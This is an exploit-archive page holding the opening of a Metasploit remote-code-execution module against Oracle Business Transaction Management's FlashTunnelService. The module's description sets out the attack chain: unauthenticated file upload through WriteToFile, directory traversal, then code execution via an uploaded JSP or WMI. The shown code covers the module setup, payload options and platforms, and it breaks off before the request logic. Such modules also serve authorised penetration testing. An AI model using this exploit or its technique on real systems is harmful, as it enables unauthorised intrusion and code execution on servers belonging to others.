Oracle BTM FlashTunnelService Remote Code Execution



EKU-ID: 2641 CVE: OSVDB-ID: 85087
Author: rgod Published: 2012-09-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Business Transaction Management FlashTunnelService Remote Code Execution',
			'Description'    => %q{
					This module exploits abuses the FlashTunnelService SOAP web service on Oracle
				Business Transaction Management 12.1.0.7 to upload arbitrary files, without
				authentication, using the WriteToFile method. The same method contains a directory
				traversal vulnerability, which allows to upload the files to arbitrary locations.

				In order to execute remote code two techniques are provided. If the Oracle app has
				been deployed in the same WebLogic Samples Domain a JSP can be uploaded to the web
				root. If a new Domain has been used to deploy the Oracle application, the Windows
				Management Instrumentation service can be used to execute arbitrary code.

				Both techniques has been successfully tested on default installs of Oracle BTM
				12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path traversal depths are
				provided, but the user can configure the traversal depth using the DEPTH option.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability Discovery and PoC
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '85087' ],
					[ 'BID', '54839' ],
					[ 'EDB', '20318' ]
				],
			'DefaultOptions'  =>
				{
					'WfsDelay' => 5
				},
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'           => 2048,
					'StackAdjustment' => -3500
				},
			'Platform'       => [ 'java', 'win' ],